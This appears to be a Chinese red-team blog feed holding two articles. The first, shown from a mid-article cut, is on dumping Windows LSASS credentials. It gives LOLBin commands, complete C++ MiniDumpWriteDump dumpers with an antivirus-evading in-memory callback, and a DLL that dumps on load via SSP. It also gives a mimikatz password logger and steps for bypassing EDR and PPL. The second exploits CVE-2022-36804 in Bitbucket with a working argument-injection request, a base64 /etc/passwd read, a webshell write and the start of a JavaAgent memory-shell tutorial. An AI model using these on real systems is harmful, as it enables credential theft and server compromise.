5. 根据已知表达式和偏移，找到内存中的logon sessions部分。遍历并解析出用户名、域名、密码等信息，这里本地测试出现问题：
没有定位到logon sessions，怀疑是匹配的表达式不正确。看一下mimikatz：
mimikatz定位的表达式不一样，工具作者表达式源自：https://github.com/skelsec/pypykatz/blob/master/pypykatz/lsadecryptor/packages/msv/templates.py 修改止当前机器版本对应的表达式后，可以成功：
6. 通过之前获取到的 IV 和 AES/DES 密钥解密hash

原作者使用了syscall，该工具在没有做任何免杀的情况下静态能过大多数杀软：

白名单工具

我们通常将这些工具称为LOLBins，指攻击者可以使用这些二进制文件执行超出其原始目的的操作。我们关注LOLBins中导出内存的程序。

procdump + mimikatz

procdump.exe -accepteula -ma lsass.exe lsass.dmp
// or avoid reading lsass by dumping a cloned lsass process
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp

使用mimikatz解dump文件

avdump

avdump是杀软Avast包含的程序，具有可信签名

.\AvDump.exe --pid  --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

sqldumper.exe

rdleakdiag.exe

adplus.exe

rundll32 minidump

.\rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump pid C:\temp\lsass.dmp full

有的时候cmd没有sedbug权限，而powershell有，优先使用powershell执行：

多语言编程实现

C++

主要依赖MiniDumpWriteDump：

#include "stdafx.h"
#include 
#include 
#include 
#include 
using namespace std;
int main() {
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL; 
    // Open a handle to lsass.dmp - this is where the minidump file will be saved to
    HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    // Find lsass PID 
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    }
    
    // Open handle to lsass.exe process
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
    
    // Create minidump
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
    
    if (isDumped) {
        cout << "[+] lsass dumped successfully!" << endl;
    }
    
    return 0;
}

C

主要通过C#调用windows api实现：

https://github.com/GhostPack/SharpDump/blob/master/SharpDump/Program.cs

结合反射加载可以绕过很多不保护内存的杀软，如definder、sysmantec等。

PS

依旧是使用MiniDumpWriteDump：

https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1

nim

样例代码未获取sedug权限，需要在system下使用。

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim

代码与c++差不多：

nimble install winim
nim compile -d:release --opt:size dump.nim

报错缺少gcc.exe,下载mingw并配置环境变量后编译。运行报错：

不知道什么原因，但总归是可以解决的。直接编译免杀效果一般：

杀转储文件绕过

很多时候我们担心导出的dump文件被杀软杀了，想要对导出部分进行加密，我们可以使用MiniDump Callbacks将结果保存在内存中，再进行加密输出，主要依靠MiniDumpWriteDump提供的回调函数。

BOOL CALLBACK minidumpCallback(
__in     PVOID callbackParam,
__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
 
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
 
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
 
// A chunk of minidump data that's been jus read from lsass. 
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
 
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
 
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
 
RtlCopyMemory(destination, source, bufferSize);
 
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
 
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
 
default:
return true;
}
return TRUE;
}

绑定回调函数并调用:

MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
 
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);

主要是回调函数里的内存操作要注意，首先在堆上申请了一块内存：

LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);

之后再将函数执行后生成的数组放入dumpbuffer中：

destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

编译后直接执行MiniDumpWriteDump返回0，执行失败，怀疑是需要sedebug权限，这里使用powershell启动成功抓取：

因为powershell是自带sebug权限的：

执行结果和想象的略有不同，看起来回调函数被多次调用了。导出内存是按块进行输出的：

这里我没调试之前是挺疑惑的，因为按我以前的理解，堆在内存中应该是不连续的，并不能像栈一样直接当连续的内存使用。但开发的同时说申请的时候HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75)是一块完整的内存块，是连续的，这里可能因为栈的空间不够大，所以用了堆来存放。

完整的导出代码：

#include 
#include 
#include 
#pragma comment (lib, "Dbghelp.lib")
 
using namespace std;
 
// Buffer for saving the minidump
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;
 
BOOL CALLBACK minidumpCallback(
__in     PVOID callbackParam,
__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
 
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
 
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
 
// A chunk of minidump data that's been jus read from lsass. 
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
 
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
 
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
 
RtlCopyMemory(destination, source, bufferSize);
 
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
 
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
 
default:
return true;
}
return TRUE;
}
 
int main() {
DWORD lsassPID = 0;
DWORD bytesWritten = 0;
HANDLE lsassHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
LPCWSTR processName = L"";
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
 
// Get lsass PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
printf("[+] lsass PID=0x%x\n",lsassPID);
}
 
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
 
// Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
 
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
 
if (isDumped) 
{
// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer);
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL))
{
printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten);
}
}
 
return 0;
}

完整的轮子：https://github.com/CCob/MirrorDump

内存保护绕过

绕过敏感api hook

崩溃法

已有成熟的轮子：https://github.com/deepinstinct/LsassSilentProcessExit

主要使用LsassSilentProcessExit这个api，通过修改注册表+远程进程注入的方式转储内存,相关的注册表键值：

#define IFEO_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"

使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数：

HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);

rpc + ssp

什么是ssp

首先我们要了解什么是ssp，简单来讲ssp是系统自带的一个功能，用于对认证流程的一些补充。一般为一个dll文件，用户可以通过设置ssp参与lsass.exe原本的处理流程。

ssp常规使用

minilib.dll

该文件是mimikatz项目中带的dll文件，我们熟知的功能就是通过该dll记录账户的明文密码：

NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{        
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}

常见的部署ssp的方法有两种：

1. 修改注册表，等待机器重启，ssp生效。
2. 使用AddSecurityPackage函数加载dll，powershell版本https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1

memssp

这种方法不需要重启，通过操作lassass.exe的内存记录密码：

if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &extForCb, &aLsass))

相比较而言这种方法不需要重启，但操作内存的行为非常敏感，容易被edr报警。

导出内存

原理

我们通过ssp绕过内存保护的思路是让lasses.exe自己导出自己，也就是通过ssp装载一个dll，该dll的功能是导出自己的内存。这样看起来是没有问题，但对内存的操作还是较为危险的。xpn通过逆向windows api AddSecurityPackage函数，发现这个函数有rpc的调用。我们可以通过模拟这个函数rpc调用装载我们自定义的dll实现我们想要的功能。目前已经有一些现成的轮子：

• https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 模拟SpAcceptCresidentials进行rpc调用的程序
• https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0 实现恶意功能的dll程序，这里是记录明文密码
• https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c dump内存的dll

结合上文我们使用MiniDumpWriteDump导出内存的功能，我们就可以绕过内存保护了。

编译模拟SpAcceptCresidentials进行rpc调用的程序，可能会遇到一些报错：

• 编译报错1：argument of type "unsigned char *" is incompatible with parameter of type "RPC_WSTR" 解决办法：调整项目编码，不为unicode即可
• 编译报错2：unresolved external symbol NdrClientCall3

解决办法：#pragma comment (lib, "rpcrt4.lib")

编译导出内存的dll：

#include "pch.h"
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
 
 
int dump() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
 
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 
// Find lsass PID        
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
 
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
 
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
 
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
 
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

进行测试，这里path需要绝对路径，代码种并未将文件载入内存，rpc发送的只有文件名，所以需要绝对路径：

会返回rpc调用异常，但实际代码已经被执行。

解钩子

某些安全产品已经开始拦截MiniDumpWriteDump这种行为，拦截的方法是通过用户模式下的API hook，使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。与edr api hook对抗思路：https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

工具:https://github.com/outflanknl/Dumpert

在《基础免杀》系列文章中介绍了多种解hook的方式可供参考。

PPL

什么是PPL

Windows 8.1 引入了 Protected Process Light (PPL) 的概念，它使经过特殊签名的程序能够以不受篡改和终止的方式运行，即使是管理员用户也是如此。开启ppl的机器，就算我们直接使用任务管理器dump敏感进程如lsass.exe也无法获得转储文件：

配置PPL

除了单机配置，还可以通过域组策略下发的形式对所有域内机器进行设置。单机设置如图：

关闭PPL

常规的修改注册表的方式在域渗透的环境下并不可行，域重启会自动重新加载组策略导致又再次开启了PPL。

内核态bypass

mimikatz

mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

笔者也没有接触过windows内核编程，从老外的文章来看，mimikatz简单原理是使用自签名的驱动将某个代表程序保护级别的标志位修改了，进而降低了lsass.exe的保护级别：修改前保护级别为：

修改后：

该方法目前的问题有两个，mimikatz的驱动基本是必杀。其次mimikatz没有恢复lsass的保护级别，可能会导致系统的一些问题。

使用自定义驱动

我们自定义驱动是无法获得驱动签名的，除非向微软申请。这样，我们就需要寻找到windows和驱动相关的漏洞，或寻找到一个带签名且有漏洞的驱动。

这里我们可以参考项目https://github.com/wavestone-cdt/EDRSandblast

在团队之前的文章《基础免杀》系列中，我们提及了很多edr依赖内核回调实现报警的功能。EDRSandBlast 枚举在保存敏感内核api的数组中定义的例程，并删除链接到预定义的 EDR 驱动程序列表的任何回调例程（支持超过 1000 个安全产品驱动程序）。我们在该项目代码中可以看到对知名安全产品的检测规则，主要是三方面的检测，比如进程、二进制文件，如下图：

包括驱动文件检查：

该程序后续在内核态干掉了edr的内核回调。后续又用了《基础免杀》中提及的disable ETW及解用户态钩子技术，达到bypass edr的效果。同时支持绕过ppl的功能：

在开启PPL的情况下，只有运行在较高保护级别的进程才能对受保护进程进行操作。Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程，它包括一个 _PS_PROTECTION 字段，通过其 Type (_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。

typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;
            UCHAR Audit  : 1;                  // Reserved
            UCHAR Signer : 4;
        };
    };
} PS_PROTECTION, *PPS_PROTECTION;

（Level 是一个 UCHAR，即一个 unsigned char）。前 3 位代表保护类型（参见下面的 PS_PROTECTED_TYPE）。它定义了流程是 PP 还是 PPL。最后 4 位代表 Signer 类型（参见下面的 PS_PROTECTED_SIGNER），即实际的保护级别。

typedef enum _PS_PROTECTED_TYPE {
    PsProtectedTypeNone = 0,
    PsProtectedTypeProtectedLight = 1,
    PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
 
typedef enum _PS_PROTECTED_SIGNER {
    PsProtectedSignerNone = 0,      // 0
    PsProtectedSignerAuthenticode,  // 1
    PsProtectedSignerCodeGen,       // 2
    PsProtectedSignerAntimalware,   // 3
    PsProtectedSignerLsa,           // 4
    PsProtectedSignerWindows,       // 5
    PsProtectedSignerWinTcb,        // 6
    PsProtectedSignerWinSystem,     // 7
    PsProtectedSignerApp,           // 8
    PsProtectedSignerMax            // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;

通过在内核内存中写入，EDRSandblast 进程能够将其自身的保护级别升级到 PsProtectedSignerWinTcb-Light。这个级别足以转储 LSASS 进程内存，因为它“支配”到 PsProtectedSignerLsa-Light，即使用 RunAsPPL 机制运行的 LSASS 进程的保护级别。

关键函数如下图所示：

直接操作内核的内存，达到SetCurrentProcessAsProtected的效果，后续使用syscall或直接在内存快照中MiniDumpWriteDump

该项目对于EDR的bypass相当比较全面，并且提供的漏洞驱动静态上相对要好很多。

用户态bypass

从其他进程中寻找lsass进程句柄

开启ppl后我们无法获取到lsass.exe进程的句柄，但其他进程（例如防病毒软件）在其内存空间中已经打开了 LSASS 进程的句柄。因此，作为具有调试权限的管理员，我们可以将此句柄复制到您自己的进程中，然后使用它来访问 LSASS。

事实证明，这种技术还有另一个目的。它还可用于绕过 RunAsPPL，因为某些未受保护的进程可能通过其他方式（例如使用驱动程序）获得了 LSASS 进程的句柄。

查看pykatz的源码，逻辑很清晰：

PPLDump

假设被ppl保护的进程存在一个dll劫持漏洞，我们就可以在程序的内存空间中执行任意代码(和前面提到的ssp的方法有点类似)。但显然，lsass不可能存在dll劫持。

但是，\Known DLLs给了我们机会，按照Windows 上的 DLL 搜索顺序，当一个进程被创建时，它首先会遍历\Known DLLs，然后继续搜索应用程序的目录、系统目录等等……一般只有在从磁盘加载的时候会校验文件签名。

一般的pp保护的程序加载dll直接从磁盘加载：

而ppl保护的程序会从\Known DLLs先查找，如果我们可以控制\Known DLLs中的dll，就可以实现dll劫持的功能，进而达到在lsass的程序空间中执行代码的效果。

控制Known DLLs相当复杂，主要使用DefineDosDevice，结合一系列的操作，相当复杂，甚至需要两次impersonate用户身份，这里不做赘述。

总之就是通过一系列操作可以新建一个内核对象，该内核对象为一个符号链接，指向我们的恶意dll的section，而并非dll文件。

我们可以使用NtCreateSection获得Section对象，但需要dll文件落地。作者使用一种从内存中直接map dll到已有dll的技术，并且无需修改dll的本地文件。具体实现可以参考原文。

完成该操作后，我们需要找到一个进程，要满足被PPL保护且等级高于PsProtectedSignerLsa，比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能，工具作者找到的进程为services.exe，被hook的dll为EventAggregation.dll：

工具作者在原项目关键步骤注释写的很清晰，感兴趣的朋友可以看原项目的代码。

同类的项目包括RIPPL。

不幸的是，在较新的win10/server2022/win11(大约2022.7更新)的版本，该方法已不再有效。因为ppl程序于pp程序一样从磁盘直接加载dll。

总结

目前遇到的AV/EDR对内存的保护，一类是对传统方式进行限制，如windows definder、symantec、macfee等。一类是用户态的apiHOOK，如卡巴斯基、sophos等。

实际环境中还可能遇到既有AV/EDR，又开启PPL的情况，需要熟练掌握以上技术针对具体环境具体开发。

阅读原文

跳转微信打开

Java安全-记一次实战使用memoryshell

Mon, 14 Nov 2022 09:10:00 +0800

原创 7bits安全团队 2022-11-14 09:10 江苏

本文是实战中遇到的一个技术点。很多时候我们使用内存马都是反序列化漏洞利用后一条龙直接植入。但有时候我们也会遇到命令拼接等问题获取到的权限，此时仅仅有命令执行而非代码执行的权限。常规的jsp马、cc等手段均无法作为后门，我们该怎么办？

Java安全-记一次实战使用memoryshell

引言

本文是实战中遇到的一个技术点。很多时候我们使用内存马都是反序列化漏洞利用后一条龙直接植入，如log4j时被广泛使用的JNDIExploit此类工具。但有时候我们也会遇到命令拼接等问题获取到的权限，此时仅仅有命令执行而非代码执行的权限。常规的jsp马、cc等手段均无法作为后门，植入内存马成为了我们的第一选择。内存马除了常规的webshell功能外，我们还可以利用内存马完成一些其他的事情。

CVE-2022-36804

前期通过CVE-2022-36804获取命令执行权限，漏洞原理比较简单，具体可以看这篇文章https://www.anquanke.com/post/id/280193。

Bitbucket 是 Atlassian 公司提供的一个基于 web 的版本库托管服务，支持 Mercurial 和 Git 版本控制系统。支持私有化部署。该平台类似gitlab，是一个代码版本控制的平台，一般都是目标的it人员或管理员在使用。支持ldap认证及本地认证，获取到权限我们首先就想到驻留一个长期控制的后门。

通过docker安装环境：

docker pull atlassian/bitbucket-server:7.19.4-jdk11

启动该环境:

docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name="bitbucket" -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.19-jdk11

测试该漏洞需要目标存在public项目，需要获取到项目名和repo名。通过链接枚举公开项目:

example.com/repos?visibility=public

测试漏洞：

GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2

成功回显结果:

HTTP/1.1 500 
X-AREQUESTID: @1J1EWV1x490x54736x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Oct 2022 08:10:56 GMT
Connection: close
Content-Length: 380
{"errors":[{"context":null,"message":"'/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax' exited with code 128 saying: `id` '/': 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly","exceptionName":"com.atlassian.bitbucket.scm.CommandFailedException"}]}

绕过回显限制

执行命令的回显存在空格截断的问题，使用“|base64 -w 0”将命令base64编码后输出一行执行可以绕过其限制。

rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%20%7cbase64%20-w%200%60%00--prefix=/!

尝试写入webshell

linux命令执行条件下写入webshell相信大家都烂熟于心：

echo xxx | base64 -d > 1.jsp

java应用一般有许多复杂的解析规则，一般jsp可能无法解析。寻找可以被解析的jsp目录最暴力的方式就是搜索应用目录的jsp文件

find / -name .jsp

没有的话我们一般尝试寻找静态资源目录，放jsp看是否能够解析。很可惜这个项目对访问的url有限制。且利用成功后为bitbuctet权限，无法修改配置。

植入内存shell

JavaAgent

我们在多数反序列化和webshell利用场景中，都是位于当前web上下文中执行代码。增加一个webFileter/webHanlder等操作通过动态执行代码的方式非常自然。

如何通过命令执行修改已经启动的程序是一个问题，java给出的解决方案是使用JavaAgent，对应的命令行参数为-javaagent:agent.jar。如下图：

简单来说，这种方式提供给程序员操作正在运行中程序jvm虚拟机的可能。我们可以在另一个程序操作已有的jvm虚拟机。这部分代码比较简单，如下图：

1处获取到所有的jvm虚拟机，并找到tomcat对应的虚拟机，2处装载JavaAgent，这里的JavaAgent是一个文件。JavaAgent加载的文件需要包含agentmain或premain等函数：

public static void agentmain(String agentArgs, Instrumentation inst) {
...
}

在agentmain中实现我们自己的代码，实现了在另一个jvm中执行任意代码的效果。后续通过反射等手段获取到web上下文进行内存马植入即可。主要参考动态注册的内存马，包括Servlet型、Listener型及Filter型的内存马。

这样我们需要通过大量的反射实现这个效果，除此之外我们有更简单的方法。我们可以重点关注agentmain函数的第二个参数Instrumentation类型，这个类包含许多方法：

其中我们最关注的是addTransformer和retransformClasses方法，addTransformer参数为ClassFileTransformer类型。

addTransformer该函数可以将一个ClassFileTransformer类的实例的transform函数返回的字节数组转换成类定义。也就是说我们定义类可以通过字节数组直接实现，而不需要进行传统定义。

配合retransformClasses可以改变正则运行的jvm的class。

JavaAgent例子

第一步

定义一个Peoples类，当中有一个say方法，输出hello

package comm;
 
public class Peoples {
    public void say(){
        System.out.println("hello");
    }
}

定义一个程序，每5s调用一次say

package comm;
 
public class Main {
 
    public static void main(String[] args) throws Exception{
        while (true){
            new Peoples().say();
            Thread.sleep(5000);
        }
    }
}

我们接下来要将这个程序运行起来，通过JavaAgent修改正在运行程序的输出。

第二步

新建一个项目，作为我们要载入的jar包，首先定义transformer：

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
 
public class TransformerTest implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
 
        if (!className.equalsIgnoreCase("Peoples")) {
            return null;
        }
        return getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class");
 
    }
 
    public static byte[] getBytesFromFile(String fileName) {
        File file = new File(fileName);
        try  {
            InputStream is = new FileInputStream(file);
            long length = file.length();
            byte[] bytes = new byte[(int) length];
 
            // Read in the bytes
            int offset = 0;
            int numRead = 0;
            while (offset < bytes.length
                    && (numRead = is.read(bytes, offset, bytes.length - offset)) >= 0) {
                offset += numRead;
            }
 
            if (offset < bytes.length) {
                throw new IOException("Could not completely read file "
                        + file.getName());
            }
            is.close();
            return bytes;
        } catch (Exception e) {
            System.out.println("error occurs in _ClassTransformer!"
                    + e.getClass().getName());
            return null;
        }
 
    }
}

定义agentmain函数：

import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
 
public class AgentTest {
 
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {
        inst.addTransformer(new TransformerTest(), true);
        System.out.println("add class success");
        inst.retransformClasses(Peoples.class);
        System.out.println("retransform success");
    }
}

修改MANIFEST：

Manifest-Version: 1.0
Agent-Class: AgentTest
Can-Redefine-Classes: true
Can-Retransform-Classes: true

制作pom.xml：


http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    4.0.0
    
        
            org.javassist
            javassist
            3.20.0-GA
        
        
            com.sun
            tools
            1.8.0
            system
            C:/Program Files/Java/jdk1.8.0_221/lib/tools.jar
        
    
 
    org.example
    AgentTest
    1.0-SNAPSHOT
 
    
        
            
                maven-assembly-plugin
                
                    
                        jar-with-dependencies
                    
                    
                        src/main/resources/MANIFEST.MF
                    
                
                
                    
                        make-assembly
                        package
                        
                            assembly

第三步

定义加载器，这里加载器部分的代码也放在了jar包里编译：

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
 
import java.io.File;
import java.util.List;
 
 
public class AttachAgent {
 
    public static void main(String[] args) throws Exception {
 
        VirtualMachine                 vm;
        List vmList;
 
        String agentFile = new File( "E:\\AgentTest\\target\\AgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar").getCanonicalPath();
        System.out.println(agentFile);
        try {
            vmList = VirtualMachine.list();
            for (VirtualMachineDescriptor vmd : vmList) {
                System.out.println(vmd.displayName());
 
                if (vmd.displayName().contains("Main") || "".equals(vmd.displayName())) {
                    vm = VirtualMachine.attach(vmd);
 
                    if (null != vm) {
                        vm.loadAgent(agentFile);
